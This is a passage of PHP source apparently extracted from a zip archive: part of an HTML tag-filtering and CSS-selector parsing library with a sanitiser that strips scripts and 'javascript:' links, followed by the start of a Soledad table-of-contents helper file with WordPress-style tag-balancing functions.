			while (strpos($result, "\n\n\n") !== false)  $result = str_replace("\n\n\n", "\n\n", $result);

			return $result;
		}

		public static function ExplodeTagCallback($stack, &$content, $open, $tagname, &$attrs, $options)
		{
			if ($open)
			{
				$pid = (count($options["data"]->stackmap) ? $options["data"]->stackmap[0] : 0);

				$tagname2 = (isset($options["tag_name_map"][strtolower($tagname)]) ? $options["tag_name_map"][strtolower($tagname)] : $tagname);

				$options["nodes"]->nodes[$options["nodes"]->nextid] = array(
					"type" => "element",
					"tag" => $tagname,
					"attrs" => $attrs,
					"parent" => $pid,
					"parentpos" => count($options["nodes"]->nodes[$pid]["children"]),
					"children" => (isset($options["void_tags"][$tagname2]) ? false : array())
				);

				$options["nodes"]->nodes[$pid]["children"][] = $options["nodes"]->nextid;

				// Append non-void tags to the ID stack.
				if (!isset($options["void_tags"][$tagname2]))  array_unshift($options["data"]->stackmap, $options["nodes"]->nextid);

				$options["nodes"]->nextid++;
			}
			else
			{
				array_shift($options["data"]->stackmap);
			}

			return array("keep_tag" => false, "keep_interior" => false);
		}

		public static function ExplodeContentCallback($stack, $result, &$content, $options)
		{
			if ($content === "")  return;

			$type = (substr($content, 0, 5) === "<!-- " ? "comment" : "content");
			$pid = (count($options["data"]->stackmap) ? $options["data"]->stackmap[0] : 0);
			$parentpos = count($options["nodes"]->nodes[$pid]["children"]);

			if ($parentpos && $options["nodes"]->nodes[$options["nodes"]->nodes[$pid]["children"][$parentpos - 1]]["type"] == $type)  $options["nodes"]->nodes[$options["nodes"]->nodes[$pid]["children"][$parentpos - 1]]["text"] .= $content;
			else
			{
				$options["nodes"]->nodes[$options["nodes"]->nextid] = array(
					"type" => $type,
					"text" => $content,
					"parent" => $pid,
					"parentpos" => $parentpos
				);

				$options["nodes"]->nodes[$pid]["children"][] = $options["nodes"]->nextid;

				$options["nodes"]->nextid++;
			}

			$content = "";
		}

		public static function Explode($content, $options = array())
		{
			$options["tag_callback"] = __CLASS__ . "::ExplodeTagCallback";
			$options["content_callback"] = __CLASS__ . "::ExplodeContentCallback";
			$options["nodes"] = new TagFilterNodes();
			$options["data"] = new stdClass();
			$options["data"]->stackmap = array();

			self::Run($content, $options);

			return $options["nodes"];
		}

		public static function HTMLPurifyTagCallback($stack, &$content, $open, $tagname, &$attrs, $options)
		{
			if ($open)
			{
				if ($tagname === "script")  return array("keep_tag" => false, "keep_interior" => false);
				if ($tagname === "style")  return array("keep_tag" => false, "keep_interior" => false);

				if (isset($attrs["src"]) && substr($attrs["src"], 0, 11) === "javascript:")  return array("keep_tag" => false, "keep_interior" => false);
				if (isset($attrs["href"]) && substr($attrs["href"], 0, 11) === "javascript:")  return array("keep_tag" => false);

				if (!isset($options["htmlpurify"]["allowed_tags"][$tagname]))  return array("keep_tag" => false);

				if (!isset($options["htmlpurify"]["allowed_attrs"][$tagname]))  $attrs = array();
				else
				{
					// For classes, "class" needs to be specified as an allowed attribute.
					foreach ($attrs as $attr => $val)
					{
						if (!isset($options["htmlpurify"]["allowed_attrs"][$tagname][$attr]))  unset($attrs[$attr]);
					}
				}

				if (isset($options["htmlpurify"]["required_attrs"][$tagname]))
				{
					foreach ($options["htmlpurify"]["required_attrs"][$tagname] as $attr => $val)
					{
						if (!isset($attrs[$attr]))  return array("keep_tag" => false);
					}
				}

				if (isset($attrs["class"]))
				{
					if (!isset($options["htmlpurify"]["allowed_classes"][$tagname]))  unset($attrs["class"]);
					else
					{
						foreach ($attrs["class"] as $class)
						{
							if (!isset($options["htmlpurify"]["allowed_classes"][$tagname][$class]))  unset($attrs["class"][$class]);
						}

						if (!count($attrs["class"]))  unset($attrs["class"]);
					}
				}
			}
			else
			{
				if (isset($options["htmlpurify"]["remove_empty"][substr($tagname, 1)]) && trim(str_replace(array("&nbsp;", "\xC2\xA0"), " ", $content)) === "")
				{
					if ($content !== "")  $content = " ";

					return array("keep_tag" => false);
				}
			}

			return array();
		}

		private static function Internal_NormalizeHTMLPurifyOptions($value)
		{
			if (is_string($value))
			{
				$opts = explode(",", $value);
				$value = array();
				foreach ($opts as $opt)
				{
					$opt = (string)trim($opt);
					if ($opt !== "")  $value[$opt] = true;
				}
			}

			return $value;
		}

		public static function NormalizeHTMLPurifyOptions($purifyopts)
		{
			if (!isset($purifyopts["allowed_tags"]))  $purifyopts["allowed_tags"] = array();
			if (!isset($purifyopts["allowed_attrs"]))  $purifyopts["allowed_attrs"] = array();
			if (!isset($purifyopts["required_attrs"]))  $purifyopts["required_attrs"] = array();
			if (!isset($purifyopts["allowed_classes"]))  $purifyopts["allowed_classes"] = array();
			if (!isset($purifyopts["remove_empty"]))  $purifyopts["remove_empty"] = array();

			$purifyopts["allowed_tags"] = self::Internal_NormalizeHTMLPurifyOptions($purifyopts["allowed_tags"]);
			foreach ($purifyopts["allowed_attrs"] as $key => $val)  $purifyopts["allowed_attrs"][$key] = self::Internal_NormalizeHTMLPurifyOptions($val);
			foreach ($purifyopts["required_attrs"] as $key => $val)  $purifyopts["required_attrs"][$key] = self::Internal_NormalizeHTMLPurifyOptions($val);
			foreach ($purifyopts["allowed_classes"] as $key => $val)  $purifyopts["allowed_classes"][$key] = self::Internal_NormalizeHTMLPurifyOptions($val);
			$purifyopts["remove_empty"] = self::Internal_NormalizeHTMLPurifyOptions($purifyopts["remove_empty"]);

			return $purifyopts;
		}

		public static function HTMLPurify($content, $htmloptions, $purifyopts)
		{
			$htmloptions["tag_callback"] = __CLASS__ . "::HTMLPurifyTagCallback";
			$htmloptions["htmlpurify"] = self::NormalizeHTMLPurifyOptions($purifyopts);

			return self::Run($content, $htmloptions);
		}

		public static function ReorderSelectorTokens($tokens, $splitrules, $order = array("pseudo-element" => array(), "pseudo-class" => array(), "attr" => array(), "class" => array(), "element" => array(), "id" => array()), $endnots = true)
		{
			// Collapse split rules.
			if (count($tokens) && !isset($tokens[0]["type"]) && isset($tokens[0][0]["type"]))
			{
				$tokens2 = array();
				foreach ($tokens as $rules)
				{
					if (count($tokens2))  $tokens2[] = array("type" => "combine", "combine" => "or");
					$rules = array_reverse($rules);
					foreach ($rules as $rule)  $tokens2[] = $rule;
				}

				$tokens = $tokens2;
			}

			$result = array();
			$rules = array();
			$selector = $order;
			foreach ($tokens as $token)
			{
				if ($token["type"] != "combine")  array_unshift($selector[$token["type"]], $token);
				else
				{
					foreach ($selector as $vals)
					{
						foreach ($vals as $token2)
						{
							if (($endnots && $token2["not"]) || (!$endnots && !$token2["not"]))  array_unshift($result, $token2);
						}

						foreach ($vals as $token2)
						{
							if (($endnots && !$token2["not"]) || (!$endnots && $token2["not"]))  array_unshift($result, $token2);
						}
					}

					if (!$splitrules || $token["combine"] != "or")  array_unshift($result, $token);
					else if ($token["combine"] == "or")
					{
						if (count($result))  $rules[] = $result;

						$result = array();
					}

					$selector = $order;
				}
			}

			foreach ($selector as $vals)
			{
				foreach ($vals as $token2)
				{
					if (($endnots && $token2["not"]) || (!$endnots && !$token2["not"]))  array_unshift($result, $token2);
				}

				foreach ($vals as $token2)
				{
					if (($endnots && !$token2["not"]) || (!$endnots && $token2["not"]))  array_unshift($result, $token2);
				}
			}

			if ($splitrules)
			{
				if (count($result))  $rules[] = $result;

				$result = $rules;
			}
			else
			{
				// Ignore a stray group combiner at the end.
				if (count($result) && $result[0]["type"] == "combine" && $result[0]["combine"] == "or")  array_shift($result);
			}

			return $result;
		}

		public static function ParseSelector($query, $splitrules = false)
		{
			// Tokenize query into individual action steps.
			$query = trim($query);
			$tokens = array();
			$lastor = 0;
			$a = ord("A");
			$a2 = ord("a");
			$f = ord("F");
			$f2 = ord("f");
			$z = ord("Z");
			$z2 = ord("z");
			$backslash = ord("\\");
			$hyphen = ord("-");
			$underscore = ord("_");
			$pipe = ord("|");
			$asterisk = ord("*");
			$colon = ord(":");
			$period = ord(".");
			$zero = ord("0");
			$nine = ord("9");
			$cr = ord("\r");
			$nl = ord("\n");
			$ff = ord("\f");
			$cx = 0;
			$cy = strlen($query);
			$state = "next_selector";
			do
			{
				$currcx = $cx;
				$currstate = $state;

				switch ($state)
				{
					case "next_selector":
					{
						// This state is necessary to handle the :not(selector) function.
						$token = array("not" => false);
					}
					case "selector":
					{
						if ($cx >= $cy)  break;

						switch ($query[$cx])
						{
							case "#":
							{
								$token["type"] = "id";
								$state = "ident_name";
								$allownamespace = false;
								$identasterisk = false;
								$allowperiod = false;
								$namespace = false;
								$range = true;
								$ident = "";
								$nextstate = "selector_ident_result";
								$cx++;

								break;
							}
							case ".":
							{
								$token["type"] = "class";
								$state = "ident";
								$allownamespace = false;
								$identasterisk = false;
								$allowperiod = false;
								$nextstate = "selector_ident_result";
								$cx++;

								break;
							}
							case "[":
							{
								$token["type"] = "attr";
								$state = "ident";
								$state2 = "attr";
								$allownamespace = true;
								$identasterisk = false;
								$allowperiod = false;
								$nextstate = "selector_ident_result";
								$cx++;

								// Find a non-whitespace character.
								while ($cx < $cy && ($query[$cx] == " " || $query[$cx] == "\t" || $query[$cx] == "\r" || $query[$cx] == "\n" || $query[$cx] == "\f"))  $cx++;

								break;
							}
							case ":":
							{
								$cx++;
								if ($cx >= $cy || $query[$cx] != ":")  $token["type"] = "pseudo-class";
								else
								{
									$token["type"] = "pseudo-element";
									$cx++;
								}

								$state = "ident";
								$allownamespace = true;
								$identasterisk = false;
								$allowperiod = false;
								$nextstate = "selector_ident_result";

								break;
							}
							case ",":
							case "+":
							case ">":
							case "~":
							case " ":
							case "\r":
							case "\n":
							case "\t":
							case "\f":
							{
								$state = "combine";

								break;
							}
							default:
							{
								$token["type"] = "element";
								$state = "ident";
								$allownamespace = true;
								$identasterisk = true;
								$allowperiod = false;
								$nextstate = "selector_ident_result";

								break;
							}
						}

						break;
					}
					case "selector_ident_result":
					{
						switch ($token["type"])
						{
							case "id":
							{
								$token["id"] = $ident;
								$tokens[] = $token;
								$state = ($token["not"] ? "negate_close" : "next_selector");

								break;
							}
							case "class":
							{
								$token["class"] = $ident;
								$tokens[] = $token;
								$state = ($token["not"] ? "negate_close" : "next_selector");

								break;
							}
							case "element":
							{
								$token["namespace"] = $namespace;
								$token["tag"] = $ident;
								$tokens[] = $token;
								$state = ($token["not"] ? "negate_close" : "next_selector");

								break;
							}
							case "attr":
							{
								if ($state2 == "attr")
								{
									$token["namespace"] = $namespace;
									$token[$state2] = $ident;

									// Find a non-whitespace character.
									while ($cx < $cy && ($query[$cx] == " " || $query[$cx] == "\t" || $query[$cx] == "\r" || $query[$cx] == "\n" || $query[$cx] == "\f"))  $cx++;

									if ($cx >= $cy || $query[$cx] == "]")
									{
										$token["cmp"] = false;
										$tokens[] = $token;
										$state = ($token["not"] ? "negate_close" : "next_selector");
										$cx++;
									}
									else
									{
										if ($query[$cx] == "=")
										{
											$token["cmp"] = "=";
											$cx++;
										}
										else if ($cx + 1 < $cy && ($query[$cx] == "^" || $query[$cx] == "$" || $query[$cx] == "*" || $query[$cx] == "~" || $query[$cx] == "|") && $query[$cx + 1] == "=")
										{
											$token["cmp"] = substr($query, $cx, 2);
											$cx += 2;
										}
										else
										{
											return array("success" => false, "error" => "Unknown or invalid attribute comparison operator '" . $query[$cx] . "' detected at position " . $cx . ".", "errorcode" => "invalid_attr_compare", "selector" => $query, "startpos" => $currcx, "pos" => $cx, "state" => $currstate, "tokens" => self::ReorderSelectorTokens(array_slice($tokens, 0, $lastor), $splitrules), "splitrules" => $splitrules);
										}

										// Find a non-whitespace character.
										while ($cx < $cy && ($query[$cx] == " " || $query[$cx] == "\t" || $query[$cx] == "\r" || $query[$cx] == "\n" || $query[$cx] == "\f"))  $cx++;

										if ($cx < $cy && ($query[$cx] == "\"" || $query[$cx] == "'"))
										{
											$state = "string";
											$endchr = ord($query[$cx]);
											$cx++;
										}
										else
										{
											$state = "ident";
											$allownamespace = false;
											$identasterisk = false;
											$allowperiod = false;
										}

										$state2 = "val";
										$nextstate = "selector_ident_result";
									}
								}
								else if ($state2 == "val")
								{
									$token[$state2] = $ident;

									// Find a non-whitespace character.
									while ($cx < $cy && ($query[$cx] == " " || $query[$cx] == "\t" || $query[$cx] == "\r" || $query[$cx] == "\n" || $query[$cx] == "\f"))  $cx++;

									$tokens[] = $token;
									$state = ($token["not"] ? "negate_close" : "next_selector");

									if ($cx < $cy && $query[$cx] == "]")  $cx++;
								}

								break;
							}
							case "pseudo-class":
							case "pseudo-element":
							{
								$ident = strtolower($ident);

								// Deal with CSS1 and CSS2 compatibility.
								if ($ident === "first-line" || $ident === "first-letter" || $ident === "before" || $ident === "after")  $token["type"] = "pseudo-element";

								if ($token["type"] == "pseudo-class" && $ident == "not")
								{
									if ($token["not"])  return array("success" => false, "error" => "Invalid :not() embedded inside another :not() detected at position " . $cx . ".", "errorcode" => "invalid_not", "selector" => $query, "startpos" => $currcx, "pos" => $cx, "state" => $currstate, "tokens" => self::ReorderSelectorTokens(array_slice($tokens, 0, $lastor), $splitrules), "splitrules" => $splitrules);
									if ($cx >= $cy || $query[$cx] != "(")  return array("success" => false, "error" => "Missing '(' detected at position " . $cx . ".", "errorcode" => "invalid_not", "selector" => $query, "startpos" => $currcx, "pos" => $cx, "state" => $currstate, "tokens" => self::ReorderSelectorTokens(array_slice($tokens, 0, $lastor), $splitrules), "splitrules" => $splitrules);

									unset($token["type"]);
									$token["not"] = true;

									$state = "selector";
									$cx++;

									// Find a non-whitespace character.
									while ($cx < $cy && ($query[$cx] == " " || $query[$cx] == "\t" || $query[$cx] == "\r" || $query[$cx] == "\n" || $query[$cx] == "\f"))  $cx++;
								}
								else
								{
									$token["pseudo"] = $ident;

									if ($cx < $cy && $query[$cx] == "(")
									{
										$token["expression"] = "";
										$ident = "";
										$state = "pseudo_expression";
										$cx++;
									}
									else
									{
										$token["expression"] = false;
										$tokens[] = $token;
										$state = ($token["not"] ? "negate_close" : "next_selector");
									}
								}

								break;
							}
						}

						break;
					}
					case "negate_close":
					{
						// Find a non-whitespace character.
						while ($cx < $cy && ($query[$cx] == " " || $query[$cx] == "\t" || $query[$cx] == "\r" || $query[$cx] == "\n" || $query[$cx] == "\f"))  $cx++;

						if ($cx < $cy && $query[$cx] != ")")  return array("success" => false, "error" => "Invalid :not() close character '" . $query[$cx] . "' detected at position " . $cx . ".", "errorcode" => "invalid_negate_close", "selector" => $query, "startpos" => $currcx, "pos" => $cx, "state" => $currstate, "tokens" => self::ReorderSelectorTokens(array_slice($tokens, 0, $lastor), $splitrules), "splitrules" => $splitrules);

						$cx++;
						$state = "next_selector";

						break;
					}
					case "pseudo_expression":
					{
						$token["expression"] .= $ident;

						// Find a non-whitespace character.
						while ($cx < $cy && ($query[$cx] == " " || $query[$cx] == "\t" || $query[$cx] == "\r" || $query[$cx] == "\n" || $query[$cx] == "\f"))  $cx++;

						if ($cx >= $cy)  break;

						if ($query[$cx] == ")")
						{
							if (substr($token["pseudo"], 0, 4) === "nth-")
							{
								// Convert the expression to an+b syntax.
								$exp = strtolower($token["expression"]);

								if ($exp == "even")  $exp = "2n";
								else if ($exp == "odd")  $exp = "2n+1";
								else
								{
									do
									{
										$currexp = $exp;

										$exp = str_replace(array("++", "+-", "-+", "--"), array("+", "-", "-", "+"), $exp);

									} while ($currexp !== $exp);
								}

								if (substr($exp, 0, 2) == "-n")  $exp = "-1n" . substr($exp, 2);
								else if (substr($exp, 0, 2) == "+n")  $exp = "1n" . substr($exp, 2);
								else if (substr($exp, 0, 1) == "n")  $exp = "1n" . substr($exp, 1);

								$pos = strpos($exp, "n");
								if ($pos === false)
								{
									$token["a"] = 0;
									$token["b"] = (double)$exp;
								}
								else
								{
									$token["a"] = (double)$exp;
									$token["b"] = (double)substr($exp, $pos + 1);
								}

								$token["expression"] = $token["a"] . "n" . ($token["b"] < 0 ? $token["b"] : "+" . $token["b"]);
							}

							$tokens[] = $token;
							$state = ($token["not"] ? "negate_close" : "next_selector");
							$cx++;
						}
						else if ($query[$cx] == "+" || $query[$cx] == "-")
						{
							$ident = $query[$cx];
							$cx++;
						}
						else if ($query[$cx] == "\"" || $query[$cx] == "'")
						{
							$state = "string";
							$endchr = ord($query[$cx]);
							$cx++;
						}
						else
						{
							$val = ord($query[$cx]);

							$state = ($val >= $zero && $val <= $nine ? "ident_name" : "ident");
							$allownamespace = false;
							$identasterisk = false;
							$allowperiod = ($val >= $zero && $val <= $nine);
							$namespace = false;
							$range = true;
							$ident = "";

							$nextstate = "pseudo_expression";
						}

						break;
					}
					case "string":
					{
						$startcx = $cx;
						$ident = "";

						for (; $cx < $cy; $cx++)
						{
							$val = ord($query[$cx]);

							if ($val == $endchr)
							{
								$cx++;

								break;
							}
							else if ($val == $backslash)
							{
								// Escape sequence.
								if ($cx + 1 >= $cy)  $ident .= "\\";
								else
								{
									$cx++;
									$val = ord($query[$cx]);

									if (($val >= $a && $val <= $f) || ($val >= $a2 && $val <= $f2) || ($val >= $zero && $val <= $nine))
									{
										// Unicode (e.g. \0020)
										for ($x = $cx + 1; $x < $cy; $x++)
										{
											$val = ord($query[$x]);
											if (!(($val >= $a && $val <= $f) || ($val >= $a2 && $val <= $f2) || ($val >= $zero && $val <= $nine)))  break;
										}

										$num = hexdec(substr($query, $cx, $x - $cx));
										$cx = $x - 1;

										$ident .= TagFilterStream::UTF8Chr($num);

										// Skip one optional \r\n OR a single whitespace char.
										if ($cx + 2 < $cy && $query[$cx + 1] == "\r" && $query[$cx + 2] == "\n")  $cx += 2;
										else if ($cx + 1 < $cy && ($query[$cx + 1] == " " || $query[$cx + 1] == "\r" || $query[$cx + 1] == "\n" || $query[$cx + 1] == "\t" || $query[$cx + 1] == "\f"))  $cx++;
									}
									else
									{
										$ident .= $query[$cx];
									}
								}
							}
							else
							{
								$ident .= $query[$cx];
							}
						}

						$state = $nextstate;

						break;
					}
					case "ident":
					{
						$namespace = false;
						$range = false;

						if ($cx >= $cy)  break;

						if ($query[$cx] != "-")  $ident = "";
						else
						{
							$ident = "-";
							$cx++;
						}

						$state = "ident_name";

						break;
					}
					case "ident_name":
					{
						// Find the first invalid character.
						$startcx = $cx;
						for (; $cx < $cy; $cx++)
						{
							$val = ord($query[$cx]);

							if ($val != $period && ($val < $zero || $val > $nine))  $allowperiod = false;

							if (($val >= $a && $val <= $z) || ($val >= $a2 && $val <= $z2) || $val == $underscore || $val > 127)
							{
								$ident .= $query[$cx];
							}
							else if ($allowperiod && $val == $period)
							{
								$allowperiod = false;

								$ident .= ".";
							}
							else if ($val == $hyphen || ($val >= $zero && $val <= $nine))
							{
								// Only allowed AFTER the first character.
								if (!$range)  return array("success" => false, "error" => "Invalid identifier character '" . $query[$cx] . "' detected at position " . $cx . ".", "errorcode" => "invalid_ident", "selector" => $query, "startpos" => $currcx, "pos" => $cx, "state" => $currstate, "tokens" => self::ReorderSelectorTokens(array_slice($tokens, 0, $lastor), $splitrules), "splitrules" => $splitrules);

								$allowperiod = false;

								$ident .= $query[$cx];
							}
							else if ($val == $backslash)
							{
								// Escape sequence.
								if ($cx + 1 >= $cy)  $ident .= "\\";
								else
								{
									$cx++;
									$val = ord($query[$cx]);

									if (($val >= $a && $val <= $f) || ($val >= $a2 && $val <= $f2) || ($val >= $zero && $val <= $nine))
									{
										// Unicode (e.g. \0020)
										for ($x = $cx + 1; $x < $cy; $x++)
										{
											$val = ord($query[$x]);
											if (!(($val >= $a && $val <= $f) || ($val >= $a2 && $val <= $f2) || ($val >= $zero && $val <= $nine)))  break;
										}

										$num = hexdec(substr($query, $cx, $x - $cx));
										$cx = $x - 1;

										$ident .= TagFilterStream::UTF8Chr($num);

										// Skip one optional \r\n OR a single whitespace char.
										if ($cx + 2 < $cy && $query[$cx + 1] == "\r" && $query[$cx + 2] == "\n")  $cx += 2;
										else if ($cx + 1 < $cy && ($query[$cx + 1] == " " || $query[$cx + 1] == "\r" || $query[$cx + 1] == "\n" || $query[$cx + 1] == "\t" || $query[$cx + 1] == "\f"))  $cx++;
									}
									else if ($val != $cr && $val != $nl && $val != $ff)
									{
										$ident .= $query[$cx];
									}
								}
							}
							else if ($allownamespace && $val == $pipe && ($cx + 1 >= $cy || $query[$cx + 1] != "="))
							{
								// Handle namespaces (rare).
								if ($ident != "")
								{
									$namespace = $ident;
									$ident = "";
								}

								$allownamespace = false;
							}
							else if ($val == $asterisk)
							{
								// Handle wildcard (*) characters.
								if ($allownamespace && $cx + 1 < $cy && $query[$cx + 1] == "|")
								{
									// Wildcard namespace (*|).
									$namespace = "*";
									$allownamespace = false;
									$cx++;
								}
								else if ($identasterisk)
								{
									if ($ident != "")  return array("success" => false, "error" => "Invalid identifier wildcard character '*' detected at position " . $cx . ".", "errorcode" => "invalid_wildcard_ident", "selector" => $query, "startpos" => $currcx, "pos" => $cx, "state" => $currstate, "tokens" => self::ReorderSelectorTokens(array_slice($tokens, 0, $lastor), $splitrules), "splitrules" => $splitrules);

									$ident = "*";
									$cx++;

									break;
								}
								else
								{
									// End of ident.
									break;
								}
							}
							else
							{
								// End of ident.
								break;
							}

							$range = true;
						}

						if ($ident == "")  return array("success" => false, "error" => "Missing or invalid identifier at position " . $cx . ".", "errorcode" => "missing_ident", "selector" => $query, "startpos" => $currcx, "pos" => $cx, "state" => $currstate, "tokens" => self::ReorderSelectorTokens(array_slice($tokens, 0, $lastor), $splitrules), "splitrules" => $splitrules);

						$state = $nextstate;

						break;
					}
					case "combine":
					{
						$token = array("type" => "combine");

						// Find a non-whitespace character.
						while ($cx < $cy && ($query[$cx] == " " || $query[$cx] == "\t" || $query[$cx] == "\r" || $query[$cx] == "\n" || $query[$cx] == "\f"))  $cx++;

						if ($cx < $cy)
						{
							switch ($query[$cx])
							{
								case ",":
								{
									$token["combine"] = "or";
									$lastor = count($tokens);
									$cx++;

									break;
								}
								case "+":
								{
									$token["combine"] = "prev-sibling";
									$cx++;

									break;
								}
								case ">":
								{
									$token["combine"] = "prev-parent";
									$cx++;

									break;
								}
								case "~":
								{
									$token["combine"] = "any-prev-sibling";
									$cx++;

									break;
								}
								default:
								{
									$token["combine"] = "any-parent";

									break;
								}
							}

							if (!count($tokens) || $tokens[count($tokens) - 1]["type"] == "combine")  return array("success" => false, "error" => "Invalid combiner '" . $token["type"] . "' detected at position " . $cx . ".", "errorcode" => "invalid_combiner", "selector" => $query, "startpos" => $currcx, "pos" => $cx, "state" => $currstate, "tokens" => self::ReorderSelectorTokens(array_slice($tokens, 0, $lastor), $splitrules), "splitrules" => $splitrules);

							$tokens[] = $token;

							// Find a non-whitespace character.
							while ($cx < $cy && ($query[$cx] == " " || $query[$cx] == "\t" || $query[$cx] == "\r" || $query[$cx] == "\n" || $query[$cx] == "\f"))  $cx++;
						}

						$state = "next_selector";

						break;
					}
				}
			} while ($currstate !== $state || $currcx !== $cx);

			return array("success" => true, "selector" => $query, "tokens" => self::ReorderSelectorTokens($tokens, $splitrules), "splitrules" => $splitrules);
		}

		public static function GetParentPos($stack, $tagname, $start = 0, $attrs = array())
		{
			$y = count($stack);
			for ($x = $start; $x < $y; $x++)
			{
				if ($stack[$x]["tag_name"] === $tagname)
				{
					$found = true;
					foreach ($attrs as $key => $val)
					{
						if (!isset($stack[$x]["attrs"][$key]))  $found = false;
						else if (is_string($stack[$x]["attrs"][$key]) && is_string($val) && stripos($stack[$x]["attrs"][$key], $val) === false)  $found = false;
						else if (is_array($stack[$x]["attrs"][$key]))
						{
							if (is_string($val))  $val = explode(" ", $val);

							foreach ($val as $val2)
							{
								if ($val2 !== "" && !isset($stack[$x]["attrs"][$key][$val2]))  $found = false;
							}
						}
					}

					if ($found)  return $x;
				}
			}

			return false;
		}
	}
?>PK     2w\v,  ,    toc/helper.phpnu [        <?php

namespace Soledad\Table_Of_Contents\String;

/**
 * Replace `<br />` tags with parameter.
 *
 * @since 2.0.8
 *
 * @param string $string
 * @param string $to
 *
 * @return string
 */
function br2( $string, $to = "\r\n" ) {

	$string = preg_replace( '`<br[/\s]*>`i', $to, $string );

	return $string;
}

/**
 * Replace `<br />` tags with new lines.
 *
 * @link https://stackoverflow.com/a/27509016/5351316
 *
 * @since 2.0.8
 *
 * @param string $string
 *
 * @return string
 */
function br2nl( $string ) {

	return br2( $string );
}

/**
 * Pulled from WordPress formatting functions.
 *
 * Edited to add space before self closing tags.
 *
 * @since 2.0
 *
 * @param string $text
 *
 * @return string|string[]
 */
function force_balance_tags( $text ) {
	$tagstack  = array();
	$stacksize = 0;
	$tagqueue  = '';
	$newtext   = '';
	// Known single-entity/self-closing tags
	$single_tags = array( 'area', 'base', 'basefont', 'br', 'col', 'command', 'embed', 'frame', 'hr', 'img', 'input', 'isindex', 'link', 'meta', 'param', 'source' );
	// Tags that can be immediately nested within themselves
	$nestable_tags = array( 'blockquote', 'div', 'object', 'q', 'span' );

	// WP bug fix for comments - in case you REALLY meant to type '< !--'
	$text = str_replace( '< !--', '<    !--', $text );
	// WP bug fix for LOVE <3 (and other situations with '<' before a number)
	$text = preg_replace( '#<([0-9]{1})#', '&lt;$1', $text );

	/**
	 * Matches supported tags.
	 *
	 * To get the pattern as a string without the comments paste into a PHP
	 * REPL like `php -a`.
	 *
	 * @see https://html.spec.whatwg.org/#elements-2
	 * @see https://w3c.github.io/webcomponents/spec/custom/#valid-custom-element-name
	 *
	 * @example
	 * ~# php -a
	 * php > $s = [paste copied contents of expression below including parentheses];
	 * php > echo $s;
	 */
	$tag_pattern = (
		'#<' . // Start with an opening bracket.
		'(/?)' . // Group 1 - If it's a closing tag it'll have a leading slash.
		'(' . // Group 2 - Tag name.
		// Custom element tags have more lenient rules than HTML tag names.
		'(?:[a-z](?:[a-z0-9._]*)-(?:[a-z0-9._-]+)+)' .
		'|' .
		// Traditional tag rules approximate HTML tag names.
		'(?:[\w:]+)' .
		')' .
		'(?:' .
		// We either immediately close the tag with its '>' and have nothing here.
		'\s*' .
		'(/?)' . // Group 3 - "attributes" for empty tag.
		'|' .
		// Or we must start with space characters to separate the tag name from the attributes (or whitespace).
		'(\s+)' . // Group 4 - Pre-attribute whitespace.
		'([^>]*)' . // Group 5 - Attributes.
		')' .
		'>#' // End with a closing bracket.
	);

	while ( preg_match( $tag_pattern, $text, $regex ) ) {
		$full_match        = $regex[0];
		$has_leading_slash = ! empty( $regex[1] );
		$tag_name          = $regex[2];
		$tag               = strtolower( $tag_name );
		$is_single_tag     = in_array( $tag, $single_tags, true );
		$pre_attribute_ws  = isset( $regex[4] ) ? $regex[4] : '';
		$attributes        = trim( isset( $regex[5] ) ? $regex[5] : $regex[3] );
		$has_self_closer   = '/' === substr( $attributes, -1 );

		$newtext .= $tagqueue;

		$i = strpos( $text, $full_match );
		$l = strlen( $full_match );

		// Clear the shifter.
		$tagqueue = '';
		if ( $has_leading_slash ) { // End Tag.
			// If too many closing tags.
			if ( $stacksize <= 0 ) {
				$tag = '';
				// Or close to be safe $tag = '/' . $tag.

				// If stacktop value = tag close value, then pop.
			} elseif ( $tagstack[ $stacksize - 1 ] === $tag ) { // Found closing tag.
				$tag = '</' . $tag . '>'; // Close Tag.
				array_pop( $tagstack );
				$stacksize--;
			} else { // Closing tag not at top, search for it.
				for ( $j = $stacksize - 1; $j >= 0; $j-- ) {
					if ( $tagstack[ $j ] === $tag ) {
						// Add tag to tagqueue.
						for ( $k = $stacksize - 1; $k >= $j; $k-- ) {
							$tagqueue .= '</' . array_pop( $tagstack ) . '>';
							$stacksize--;
						}
						break;
					}
				}
				$tag = '';
			}
		} else { // Begin Tag.
			if ( $has_self_closer ) { // If it presents itself as a self-closing tag...
				// ...but it isn't a known single-entity self-closing tag, then don't let it be treated as such and
				// immediately close it with a closing tag (the tag will encapsulate no text as a result)
				if ( ! $is_single_tag ) {
					$attributes = trim( substr( $attributes, 0, -1 ) ) . "></$tag";
				}
			} elseif ( $is_single_tag ) { // ElseIf it's a known single-entity tag but it doesn't close itself, do so
				$pre_attribute_ws = ' ';
				$attributes      .= 0 < strlen( $attributes ) ? ' /' : '/'; // EDIT: If there are attributes, add space before closing tag to match how WP insert br, hr and img tags.
			} else { // It's not a single-entity tag.
				// If the top of the stack is the same as the tag we want to push, close previous tag.
				if ( $stacksize > 0 && ! in_array( $tag, $nestable_tags, true ) && $tagstack[ $stacksize - 1 ] === $tag ) {
					$tagqueue = '</' . array_pop( $tagstack ) . '>';
					$stacksize--;
				}
				$stacksize = array_push( $tagstack, $tag );
			}

			// Attributes.
			if ( $has_self_closer && $is_single_tag ) {
				// We need some space - avoid <br/> and prefer <br />.
				$pre_attribute_ws = ' ';
			}

			$tag = '<' . $tag . $pre_attribute_ws . $attributes . '>';
			// If already queuing a close tag, then put this tag on too.
			if ( ! empty( $tagqueue ) ) {
				$tagqueue .= $tag;
				$tag       = '';
			}
		}
		$newtext .= substr( $text, 0, $i ) . $tag;
		$text     = substr( $text, $i + $l );
	}

	// Clear Tag Queue.
	$newtext .= $tagqueue;

	// Add remaining text.
	$newtext .= $text;

	while ( $x = array_pop( $tagstack ) ) {
		$newtext .= '</' . $x . '>'; // Add remaining tags to close.
	}

	// WP fix for the bug with HTML comments.
	$newtext = str_replace( '< !--', '<!--', $newtext );
	$newtext = str_replace( '<    !--', '< !--', $newtext );

	return $newtext;
}

/**
 * Multibyte substr_replace(). The mbstring library does not come with a multibyte equivalent of substr_replace().
 * This function behaves exactly like substr_replace() even when the arguments are arrays.
 *
 * @link https://gist.github.com/stemar/8287074
 *
 * @since 2.0
 *
 * @param      $string
 * @param      $replacement
 * @param      $start
 * @param null $length
 *
 * @return array|string
 */
function mb_substr_replace( $string, $replacement, $start, $length = null ) {

	if ( is_array( $string ) ) {

		$num = count( $string );

		// $replacement
		$replacement = is_array( $replacement ) ? array_slice( $replacement, 0, $num ) : array_pad( array( $replacement ), $num, $replacement );

		// $start
		if ( is_array( $start ) ) {
			$start = array_slice( $start, 0, $num );
			foreach ( $start as $key => $value ) {
